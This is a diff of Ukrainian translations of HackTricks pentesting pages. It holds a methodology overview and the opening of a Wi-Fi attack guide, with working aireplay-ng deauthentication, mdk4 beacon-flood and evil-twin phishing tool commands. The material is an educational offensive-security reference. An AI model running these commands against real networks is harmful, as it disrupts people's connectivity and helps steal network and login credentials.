<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Якщо вас цікавить **кар'єра хакера** і взламати невзламне - **ми шукаємо співробітників!** (_потрібно володіти польською мовою, як письмово, так і усно_).
Якщо ви зацікавлені в **кар'єрі в хакерстві** та зламі непроникного - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
{% embed url="https://www.stmcyber.com/careers" %}
## Методологія тестування на проникнення
## Методологія Пентестингу
<figure><img src="../.gitbook/assets/HACKTRICKS-logo.svg" alt=""><figcaption></figcaption></figure>
@ -28,144 +29,145 @@ _Логотипи Hacktricks розроблені_ [_@ppiernacho_](https://www.i
### 0- Фізичні атаки
У вас є **фізичний доступ** до машини, яку ви хочете атакувати? Вам слід прочитати деякі [**прийоми фізичних атак**](../hardware-physical-access/physical-attacks.md) та інші про [**втечу з GUI-додатків**](../hardware-physical-access/escaping-from-gui-applications.md).
Чи маєте ви **фізичний доступ** до машини, яку хочете атакувати? Вам слід прочитати деякі [**трюки про фізичні атаки**](../hardware-physical-access/physical-attacks.md) та інші про [**втечу з GUI-додатків**](../hardware-physical-access/escaping-from-gui-applications.md).
### 1 - [Виявлення хостів у мережі](pentesting-network/#discovering-hosts)/ [Виявлення активів компанії](external-recon-methodology/)
**Залежно** від того, чи **внутрішній або зовнішній тест** ви виконуєте, вам може бути цікаво знайти **хости всередині мережі компанії** (внутрішній тест) або **знайти активи компанії в Інтернеті** (зовнішній тест).
**Залежно** від того, чи є **тест**, який ви виконуєте, **внутрішнім чи зовнішнім**, вам може бути цікаво знайти **хости всередині мережі компанії** (внутрішній тест) або **знайти активи компанії в Інтернеті** (зовнішній тест).
{% hint style="info" %}
Зверніть увагу, що якщо ви виконуєте зовнішній тест, як тільки вам вдасться отримати доступ до внутрішньої мережі компанії, вам слід перезапустити цей посібник.
Зверніть увагу, що якщо ви виконуєте зовнішній тест, після того, як вам вдасться отримати доступ до внутрішньої мережі компанії, вам слід перезапустити цей посібник.
{% endhint %}
### **2-** [**Розваги з мережею**](pentesting-network/) **(Внутрішній)**
**Цей розділ застосовується лише при виконанні внутрішнього тесту.**\
Перед атакою на хоста можливо вам краще **викрасти деякі облікові дані** **з мережі** або **підслухати** деякі **дані**, щоб дізнатися **пасивно/активно (MitM)**, що ви можете знайти всередині мережі. Ви можете прочитати [**Тестування мережі**](pentesting-network/#sniffing).
**Цей розділ застосовується лише якщо ви виконуєте внутрішній тест.**\
Перед атакою на хост, можливо, ви захочете **вкрасти деякі облікові дані** **з мережі** або **перехопити** деякі **дані**, щоб дізнатися **пасивно/активно (MitM)**, що ви можете знайти всередині мережі. Ви можете прочитати [**Пентестинг Мережі**](pentesting-network/#sniffing).
### 3- [Сканування портів - Виявлення служб](pentesting-network/#scanning-hosts)
### 3- [Сканування портів - Виявлення сервісів](pentesting-network/#scanning-hosts)
Перш ніж **шукати вразливості в хості**, вам слід знати, які **служби працюють** на яких портах. Давайте подивимося [**основні інструменти для сканування портів хостів**](pentesting-network/#scanning-hosts).
Перше, що потрібно зробити, коли **шукаєте вразливості в хості**, це дізнатися, які **сервіси працюють** на яких портах. Давайте розглянемо [**базові інструменти для сканування портів хостів**](pentesting-network/#scanning-hosts).
### **4-** [Пошук вразливостей версій служб](search-exploits.md)
### **4-** [**Пошук експлойтів версій сервісів**](search-exploits.md)
Як тільки ви дізнаєтеся, які служби працюють, і можливо їх версію, вам слід **шукати відомі вразливості**. Можливо, вам пощастить і буде експлойт, що дозволить отримати оболонку...
Якщо ви знаєте, які сервіси працюють, і, можливо, їх версії, вам потрібно **шукати відомі вразливості**. Можливо, вам пощастить, і є експлойт, який дасть вам оболонку...
### **5-** Тестування служб
### **5-** Пентестинг Сервісів
Якщо немає жодного вражаючого експлойту для будь-якої працюючої служби, вам слід шукати **загальні помилки конфігурації в кожній працюючій службі**.
Якщо немає жодного цікавого експлойту для будь-якого працюючого сервісу, вам слід шукати **поширені неправильні налаштування в кожному працюючому сервісі.**
**У цій книзі ви знайдете посібник з тестування найпоширеніших служб** (і інших, які не такі поширені)**. Будь ласка, шукайте в лівому індексі розділ** _**ТЕСТУВАННЯ НА ПРОНИКНЕННЯ**_ **(служби впорядковані за їхніми типовими портами).**
**У цій книзі ви знайдете посібник для пентестингу найбільш поширених сервісів** (та інших, які не є такими поширеними)**. Будь ласка, шукайте в лівому індексі розділ** _**ПЕНТЕСТИНГ**_ **(сервіси впорядковані за їх стандартними портами).**
**Я хочу зробити особливе згадування про** [**Частину тестування веб-сайтів**](../network-services-pentesting/pentesting-web/) **(оскільки вона є найбільш обширною).**\
Також тут можна знайти невеликий посібник про [**пошук відомих вразливостей в програмному забезпеченні**](search-exploits.md).
**Я хочу зробити особливе зауваження про** [**Пентестинг Веб**](../network-services-pentesting/pentesting-web/) **частину (оскільки вона є найбільш обширною).**\
Також тут можна знайти невеликий посібник про те, як [**знайти відомі вразливості в програмному забезпеченні**](search-exploits.md).
**Якщо ваша служба не знаходиться в індексі, шукайте в Google** інші посібники та **повідомте мені, якщо ви хочете, щоб я додав її.** Якщо ви **нічого не знайдете** в Google, виконайте своє **власне сліпе тестування на проникнення**, ви можете почати з **підключення до служби, фазування та читання відповідей** (якщо є).
**Якщо вашого сервісу немає в індексі, шукайте в Google** інші посібники та **дозвольте мені знати, якщо ви хочете, щоб я його додав.** Якщо ви **не можете нічого знайти** в Google, виконайте свій **власний сліпий пентестинг**, ви можете почати з **підключення до сервісу, фуззингу та читання відповідей** (якщо такі є).
#### 5.1 Автоматичні інструменти
Існують також кілька інструментів, які можуть виконувати **автоматичну оцінку вразливостей**. **Я рекомендую вам спробувати** [**Legion**](https://github.com/carlospolop/legion)**, який є інструментом, який я створив і який базується на нотатках про тестування служб, які ви можете знайти в цій книзі.**
Існує також кілька інструментів, які можуть виконувати **автоматичні оцінки вразливостей**. **Я б рекомендував вам спробувати** [**Legion**](https://github.com/carlospolop/legion)**, який є інструментом, який я створив, і він заснований на нотатках про пентестинг сервісів, які ви можете знайти в цій книзі.**
#### **5.2 Перебор служб**
#### **5.2 Брутфорсинг сервісів**
У деяких сценаріях **Перебор** може бути корисним для **компрометації** **служби**. [**Тут знайдете Шпаргалку з різних служб перебору**](brute-force.md)**.**
В деяких сценаріях **Брутфорс** може бути корисним для **компрометації** **сервісу**. [**Знайдіть тут Чит-лист різних сервісів для брутфорсингу**](brute-force.md)**.**
### 6- [Фішинг](phishing-methodology/)
Якщо на цьому етапі ви не знайшли жодної цікавої вразливості, вам **може знадобитися спробувати фішинг**, щоб потрапити в мережу. Ви можете прочитати мою методологію фішингу [тут](phishing-methodology/):
Якщо на цьому етапі ви не знайшли жодної цікавої вразливості, вам **можливо, потрібно спробувати фішинг**, щоб потрапити всередину мережі. Ви можете прочитати мою методологію фішингу [тут](phishing-methodology/):
### **7-** [**Отримання оболонки**](shells/)
Якимось чином вам слід знайти **якийсь спосіб виконання коду** на жертві. Тоді [список можливих інструментів всередині системи, які ви можете використовувати для отримання зворотної оболонки, буде дуже корисним](shells/).
Якимось чином ви повинні були знайти **якийсь спосіб виконати код** на жертві. Тоді [список можливих інструментів всередині системи, які ви можете використовувати для отримання реверс-оболонки, буде дуже корисним](shells/).
Особливо в Windows вам може знадобитися допомога, щоб **уникнути антивірусів**: [**Перевірте цю сторінку**](../windows-hardening/av-bypass.md)**.**\\
### 8- Всередині
Якщо у вас виникли проблеми з оболонкою, ви можете знайти тут невелику **компіляцію найкорисніших команд** для тестувальників на проникнення:
Якщо у вас виникають проблеми з оболонкою, ви можете знайти тут невелику **компіляцію найбільш корисних команд** для пентестерів:
* [**Linux**](../linux-hardening/useful-linux-commands.md)
* [**Windows (CMD)**](../windows-hardening/basic-cmd-for-pentesters.md)
* [**Windows (PS)**](../windows-hardening/basic-powershell-for-pentesters/)
### **9 -** [**Ексфільтрація**](exfiltration.md)
### **9 -** [**Екстракція**](exfiltration.md)
Ймовірно, вам доведеться **витягти деякі дані з жертви** або навіть **ввести щось** (наприклад, скрипти підвищення привілеїв). **Тут ви знайдете** [**пост про загальні інструменти, які ви можете використовувати з цими цілями**](exfiltration.md)**.**
Вам, напевно, потрібно буде **екстрактувати деякі дані з жертви** або навіть **ввести щось** (наприклад, скрипти підвищення привілеїв). **Ось у вас є** [**пост про загальні інструменти, які ви можете використовувати з цими цілями**](exfiltration.md)**.**
### **10- Підвищення привілеїв**
#### **10.1- Локальне підвищення привілеїв**
Якщо ви **не є root/Administrator** всередині системи, вам слід знайти спосіб **підвищення привілеїв.**\
Тут ви можете знайти **посібник з локального підвищення привілеїв в** [**Linux**](../linux-hardening/privilege-escalation/) **і в** [**Windows**](../windows-hardening/windows-local-privilege-escalation/)**.**\
Також варто перевірити ці сторінки про те, як працює **Windows**:
Якщо ви **не root/Адміністратор** всередині системи, вам слід знайти спосіб **підвищити привілеї.**\
Тут ви можете знайти **посібник для підвищення привілеїв локально в** [**Linux**](../linux-hardening/privilege-escalation/) **та в** [**Windows**](../windows-hardening/windows-local-privilege-escalation/)**.**\
Вам також слід перевірити ці сторінки про те, як працює **Windows**:
* [**Аутентифікація, облікові дані, привілеї токенів та UAC**](../windows-hardening/authentication-credentials-uac-and-efs/)
* Як працює [**NTLM**](../windows-hardening/ntlm/)
* Як викрасти облікові дані в Windows
* Деякі хитрощі про [_**Active Directory**_](../windows-hardening/active-directory-methodology/)
* Як [**вкрасти облікові дані**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) в Windows
* Деякі трюки про [_**Active Directory**_](../windows-hardening/active-directory-methodology/)
**Не забудьте перевірити кращі інструменти для переліку шляхів локального підвищення привілеїв в Windows та Linux:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
**Не забудьте перевірити найкращі інструменти для перерахунку шляхів підвищення привілеїв у Windows та Linux:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
#### **10.2- Підвищення привілеїв в домені**
#### **10.2- Підвищення привілеїв домену**
Тут ви можете знайти [**методологію, що пояснює найбільш поширені дії для переліку, підвищення привілеїв та постійного збереження в Active Directory**](../windows-hardening/active-directory-methodology/). Навіть якщо це лише підрозділ розділу, цей процес може бути **надзвичайно важливим** під час завдання з пентестингу/червоної команди.
Тут ви можете знайти [**методологію, що пояснює найбільш поширені дії для перерахунку, підвищення привілеїв та збереження в Active Directory**](../windows-hardening/active-directory-methodology/). Навіть якщо це лише підрозділ розділу, цей процес може бути **надзвичайно делікатним** під час завдання Пентестингу/Red Team.
### 11 - POST
#### **11**.1 - Здобич
#### **11**.1 - Грабіж
Перевірте, чи можете ви знайти більше **паролів** всередині хоста або чи маєте **доступ до інших машин** з **привілеями** вашого **користувача**.\
Тут ви знайдете різні способи [**витягування паролів в Windows**](https://github.com/carlospolop/hacktricks/blob/ua/generic-methodologies-and-resources/broken-reference/README.md).
Перевірте, чи можете ви знайти більше **паролів** всередині хоста або чи маєте ви **доступ до інших машин** з **привілеями** вашого **користувача**.\
Знайдіть тут різні способи [**вивантаження паролів у Windows**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md).
#### 11.2 - Постійність
**Використовуйте 2 або 3 різновиди механізмів постійності, щоб вам не довелося знову експлуатувати систему.**\
**Тут ви можете знайти деякі** [**хитрощі постійності в Active Directory**](../windows-hardening/active-directory-methodology/#persistence)**.**
**Використовуйте 2 або 3 різні типи механізмів постійності, щоб вам не потрібно було знову експлуатувати систему.**\
**Ось тут ви можете знайти деякі** [**трюки постійності в Active Directory**](../windows-hardening/active-directory-methodology/#persistence)**.**
TODO: Завершити постійність у Windows та Linux
### 12 - Перехід
### 12 - Півотування
Зі **зібраними обліковими даними** ви можете мати доступ до інших машин, або можливо вам потрібно **виявити та сканувати нові хости** (почати методологію пентестингу) всередині нових мереж, де підключений ваш жертва.\
У цьому випадку може знадобитися тунелювання. Тут ви можете знайти [**пост, що говорить про тунелювання**](tunneling-and-port-forwarding.md).\
Обов'язково перегляньте пост про [Методологію пентестингу Active Directory](../windows-hardening/active-directory-methodology/). Там ви знайдете круті хитрощі для бокового руху, підвищення привілеїв та витягування облікових даних.\
Також перевірте сторінку про [**NTLM**](../windows-hardening/ntlm/), вона може бути дуже корисною для переходу в середовища Windows..
З **зібраними обліковими даними** ви можете отримати доступ до інших машин, або, можливо, вам потрібно **виявити та сканувати нові хости** (почати методологію пентестингу знову) всередині нових мереж, до яких підключена ваша жертва.\
У цьому випадку тунелювання може бути необхідним. Тут ви можете знайти [**пост, що говорить про тунелювання**](tunneling-and-port-forwarding.md).\
Вам також слід перевірити пост про [методологію пентестингу Active Directory](../windows-hardening/active-directory-methodology/). Там ви знайдете класні трюки для бічного переміщення, підвищення привілеїв та вивантаження облікових даних.\
Також перевірте сторінку про [**NTLM**](../windows-hardening/ntlm/), це може бути дуже корисно для півотування в середовищах Windows.
### MORE
### БІЛЬШЕ
#### [Додатки для Android](../mobile-pentesting/android-app-pentesting/)
#### [Android Додатки](../mobile-pentesting/android-app-pentesting/)
#### **Експлуатація**
* [**Основи експлуатації Linux**](../reversing-and-exploiting/linux-exploiting-basic-esp/)
* [**Основи експлуатації Windows**](../reversing-and-exploiting/windows-exploiting-basic-guide-oscp-lvl.md)
* [**Основні інструменти експлуатації**](../reversing-and-exploiting/tools/)
* [**Основна експлуатація Linux**](broken-reference)
* [**Основна експлуатація Windows**](../binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
* [**Основні інструменти експлуатації**](../binary-exploitation/basic-stack-binary-exploitation-methodology/tools/)
#### [**Основи Python**](python/)
#### **Хитрощі криптографії**
#### **Трюки з криптографії**
* [**ECB**](../crypto-and-stego/electronic-code-book-ecb.md)
* [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md)
* [**Oracle з заповненням**](../crypto-and-stego/padding-oracle-priv.md)
* [**Padding Oracle**](../crypto-and-stego/padding-oracle-priv.md)
<figure><img src="https://github.com/carlospolop/hacktricks/blob/ua/.gitbook/assets/image%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Якщо вас цікавить **кар'єра хакера** і взламати невзламне - **ми наймаємо!** (_потрібне вільне письмо та мовлення польською_).
Якщо ви зацікавлені в **кар'єрі в хакерстві** та зламі непроникного - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчіть хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Підтримати HackTricks</summary>
Інші способи підтримки HackTricks:
* Якщо ви хочете побачити вашу **компанію рекламовану в HackTricks** або **завантажити HackTricks у PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Дізнайтеся про [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Поділіться своїми хакерськими хитрощами, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github репозиторіїв.
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
</details>
{% endhint %}

View file

@ -1,35 +1,36 @@
# Тестування на проникнення Wifi
# Pentesting Wifi
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Підтримайте HackTricks</summary>
Інші способи підтримки HackTricks:
* Якщо ви хочете побачити вашу **компанію в рекламі HackTricks** або **завантажити HackTricks у PDF** Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
Приєднуйтесь до [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) сервера, щоб спілкуватися з досвідченими хакерами та мисливцями за вразливостями!
Приєднуйтесь до [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) сервера, щоб спілкуватися з досвідченими хакерами та шукачами багів!
**Інсайти щодо хакінгу**\
Взаємодійте з контентом, який досліджує захоплення та виклики хакінгу
**Хакерські інсайти**\
Залучайтеся до контенту, який занурюється в захоплення та виклики хакінгу
**Новини про хакінг у реальному часі**\
Будьте в курсі швидкозмінного світу хакінгу завдяки новинам та інсайтам у реальному часі
**Новини хакінгу в реальному часі**\
Будьте в курсі швидкоплинного світу хакінгу через новини та інсайти в реальному часі
**Останні оголошення**\
Будьте в курсі найновіших запусків баг-баунті та важливих оновлень платформи
Залишайтеся в курсі нових програм винагород за баги та важливих оновлень платформ
**Приєднуйтесь до нас на** [**Discord**](https://discord.com/invite/N3FrSbmwdy) та почніть співпрацювати з найкращими хакерами вже сьогодні!
**Приєднуйтесь до нас на** [**Discord**](https://discord.com/invite/N3FrSbmwdy) і почніть співпрацювати з провідними хакерами вже сьогодні!
## Базові команди Wifi
## Wifi basic commands
```bash
ip link show #List available interfaces
iwconfig #List available interfaces
@ -52,14 +53,12 @@ git clone https://github.com/s0lst1c3/eaphammer.git
./kali-setup
```
### Airgeddon
Airgeddon - це все-в-одному інструмент для атак на бездротові мережі.
```bash
mv `which dhcpd` `which dhcpd`.old
apt install isc-dhcp-server
apt-get install sslstrip asleap bettercap mdk4 hostapd beef-xss lighttpd dsniff hostapd-wpe
```
**Запустіть airgeddon за допомогою docker**
**Запустіть airgeddon з docker**
```bash
docker run \
--rm \
@ -72,7 +71,9 @@ docker run \
-e DISPLAY=$(env | grep DISPLAY | awk -F "=" '{print $2}') \
v1s1t0r1sh3r3/airgeddon
```
Здатний виконувати атаки Evil Twin, KARMA та відомі атаки маяків, а потім використовувати шаблон для рибальства, щоб отримати реальний пароль мережі або захопити облікові дані соціальних мереж.
### wifiphisher
Він може виконувати атаки Evil Twin, KARMA та Known Beacons, а потім використовувати шаблон фішингу, щоб отримати справжній пароль мережі або захопити облікові дані соціальних мереж.
```bash
git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
cd wifiphisher # Switch to tool's directory
@ -80,41 +81,41 @@ sudo python setup.py install # Install any dependencies
```
### [Wifite2](https://github.com/derv82/wifite2)
Цей інструмент автоматизує атаки **WPS/WEP/WPA-PSK**. Він автоматично:
Цей інструмент автоматизує **WPS/WEP/WPA-PSK** атаки. Він автоматично:
* Встановлює інтерфейс у режим монітора
* Сканує можливі мережі - І дозволяє вибрати жертву(жертв)
* Якщо WEP - Запускає атаки WEP
* Встановлює інтерфейс в режим монітора
* Сканує можливі мережі - І дозволяє вам вибрати жертву(и)
* Якщо WEP - Запускає WEP атаки
* Якщо WPA-PSK
* Якщо WPS: атака Pixie dust та атака брутфорсу (будьте обережні, атака брутфорсу може зайняти багато часу). Зверніть увагу, що вона не спробує нульовий PIN або базу/згенеровані PIN-коди.
* Спробує захопити PMKID від AP для його зламу
* Спробує деаутентифікувати клієнтів AP для захоплення рукостискання
* Якщо PMKID або рукостискання, спробує зламати за допомогою топ-5000 паролів.
* Якщо WPS: атака Pixie dust та атака грубої сили (будьте обережні, атака грубої сили може зайняти багато часу). Зверніть увагу, що він не намагається використовувати нульовий PIN або базу/згенеровані PIN.
* Спробує захопити PMKID з AP для його зламу
* Спробує деаутентифікувати клієнтів AP, щоб захопити хендшейк
* Якщо PMKID або хендшейк, спробує зламати за допомогою топ-5000 паролів.
## Підсумок атак
* **DoS**
* Пакети деаутентифікації/відключення - Відключити всіх (або певний ESSID/клієнт)
* Випадкові фейкові AP - Приховати мережі, можливий збій сканерів
* Перевантаження AP - Спроба вимкнути AP (зазвичай не дуже корисно)
* WIDS - Гра з IDS
* TKIP, EAPOL - Деякі конкретні атаки для DoS деяких AP
* Деаутентифікація/дезасоціація -- Відключити всіх (або конкретний ESSID/клієнт)
* Випадкові фейкові AP -- Сховати мережі, можливий крах сканерів
* Перевантажити AP -- Спробувати вбити AP (зазвичай не дуже корисно)
* WIDS -- Грати з IDS
* TKIP, EAPOL -- Деякі специфічні атаки для DoS деяких AP
* **Злам**
* Злам **WEP** (кілька інструментів та методів)
* Зламати **WEP** (кілька інструментів і методів)
* **WPA-PSK**
* **WPS** pin "Брут-форс"
* **WPA PMKID** брутфорс
* \[DoS +] Захоплення **WPA рукостискання** + Злам
* **WPS** PIN "Груба сила"
* **WPA PMKID** груба сила
* \[DoS +] **Захоплення WPA хендшейка** + Злам
* **WPA-MGT**
* **Захоплення імені користувача**
* **Брутфорс** Облікові дані
* **Зловмисний близнюк** (з або без DoS)
* **Відкритий** Зловмисний близнюк \[+ DoS] -- Корисно для захоплення даних авторизації порталу та/або виконання атак LAN
* **WPA-PSK** Зловмисний близнюк -- Корисно для мережевих атак, якщо ви знаєте пароль
* **Груба сила** облікових даних
* **Злий близнюк** (з DoS або без)
* **Відкритий** Злий близнюк \[+ DoS] -- Корисно для захоплення облікових даних порталу та/або виконання атак в LAN
* **WPA-PSK** Злий близнюк -- Корисно для атак на мережу, якщо ви знаєте пароль
* **WPA-MGT** -- Корисно для захоплення корпоративних облікових даних
* **KARMA, MANA**, **Loud MANA**, **Відомий маяк**
* **+ Відкритий** -- Корисно для захоплення даних авторизації порталу та/або виконання атак LAN
* **+ WPA** -- Корисно для захоплення WPA рукостискань
* **KARMA, MANA**, **Гучний MANA**, **Відомий маяк**
* **+ Відкритий** -- Корисно для захоплення облікових даних порталу та/або виконання атак в LAN
* **+ WPA** -- Корисно для захоплення WPA хендшейків
## DOS
@ -122,23 +123,23 @@ sudo python setup.py install # Install any dependencies
**Опис з** [**тут**:](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.**
**Атаки деаутентифікації**, поширений метод в хакінгу Wi-Fi, включають підробку "керуючих" фреймів для **примусового відключення пристроїв від мережі**. Ці незашифровані пакети вводять клієнтів в оману, змушуючи їх вважати, що вони походять від легітимної мережі, що дозволяє зловмисникам збирати рукостискання WPA для зламу або постійно перешкоджати мережевим підключенням. Цей тактика, яка вражає своєю простотою, широко використовується і має значні наслідки для безпеки мережі.
**Деаутентифікаційні** атаки, поширений метод у Wi-Fi хакінгу, включають підробку "управлінських" кадрів, щоб **примусово відключити пристрої від мережі**. Ці незашифровані пакети обманюють клієнтів, змушуючи їх вірити, що вони з легітимної мережі, що дозволяє зловмисникам збирати WPA хендшейки для цілей зламу або постійно порушувати мережеві з'єднання. Ця тактика, тривожна у своїй простоті, широко використовується і має значні наслідки для безпеки мережі.
**Деаутентифікація за допомогою Aireplay-ng**
```
aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
```
* \-0 означає деаутентифікацію
* 1 - це кількість деаутентифікацій для відправлення (можна відправити кілька, якщо потрібно); 0 означає відправляти їх безперервно
* 1 - це кількість деаутентифікацій, які потрібно надіслати (ви можете надіслати кілька, якщо бажаєте); 0 означає надсилати їх безперервно
* \-a 00:14:6C:7E:40:80 - це MAC-адреса точки доступу
* \-c 00:0F:B5:34:30:30 - це MAC-адреса клієнта для деаутентифікації; якщо це відсутнє, тоді відправляється розповсюджена деаутентифікація (не завжди працює)
* \-c 00:0F:B5:34:30:30 - це MAC-адреса клієнта, якого потрібно деаутентифікувати; якщо це пропустити, то надсилається широкомовна деаутентифікація (не завжди працює)
* ath0 - це назва інтерфейсу
### Пакети роз'єднання
### Пакети Відключення
**Пакети роз'єднання**, схожі на пакети деаутентифікації, є типом керуючого кадру, що використовується в бездротових мережах Wi-Fi. Ці пакети служать для розриву звзку між пристроєм (таким як ноутбук або смартфон) та точкою доступу (AP). Основна відмінність між роз'єднанням та деаутентифікацією полягає в їх сценаріях використання. Хоча AP видає **пакети деаутентифікації, щоб явно видалити рогаті пристрої з мережі, пакети роз'єднання зазвичай відправляються, коли AP переживає вимкнення, перезавантаження або переміщення, що вимагає відключення всіх підключених вузлів.
**Пакети відключення**, подібно до пакетів деаутентифікації, є типом управлінського кадру, що використовується в Wi-Fi мережах. Ці пакети служать для розриву з'єднання між пристроєм (таким як ноутбук або смартфон) і точкою доступу (AP). Основна відмінність між відключенням і деаутентифікацією полягає в їхніх сценаріях використання. У той час як AP випускає **пакети деаутентифікації, щоб явно видалити зловмисні пристрої з мережі, пакети відключення зазвичай надсилаються, коли AP проходить через вимкнення**, перезавантаження або переміщення, що вимагає роз'єднання всіх підключених вузлів.
**Цей тип атаки можна виконати за допомогою mdk4 (режим "d"):**
**Цей напад можна виконати за допомогою mdk4(режим "d"):**
```bash
# -c <channel>
# -b victim_client_mac.txt contains the MAC address of the device to eliminate
@ -147,13 +148,13 @@ aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
# Notice that these and other parameters aare optional, you could give onli the ESSID and md4k will automatically search for it, wait for finding clients and deauthenticate them
mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F
```
### **Більше атак DOS від mdk4**
### **Більше DOS атак за допомогою mdk4**
**Тут** [**тут**](https://en.kali.tools/?p=864)**.**
**В** [**тут**](https://en.kali.tools/?p=864)**.**
**РЕЖИМ АТАКИ b: Затоплення маяками**
Надсилає маячні фрейми, щоб показати клієнтам фальшиві точки доступу. Це іноді може призвести до збоїв в мережевих сканерах або навіть драйверах!
Відправляє кадри маяків, щоб показати фальшиві AP на клієнтах. Це іноді може призвести до збоїв мережевих сканерів і навіть драйверів!
```bash
# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
@ -161,9 +162,9 @@ mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F
# All the parameters are optional and you could load ESSIDs from a file
mdk4 wlan0mon b -a -w nta -m
```
**РЕЖИМ АТАКИ a: Відмова в аутентифікації обслуговування**
**ATTACK MODE a: Відмова в обслуговуванні аутентифікації**
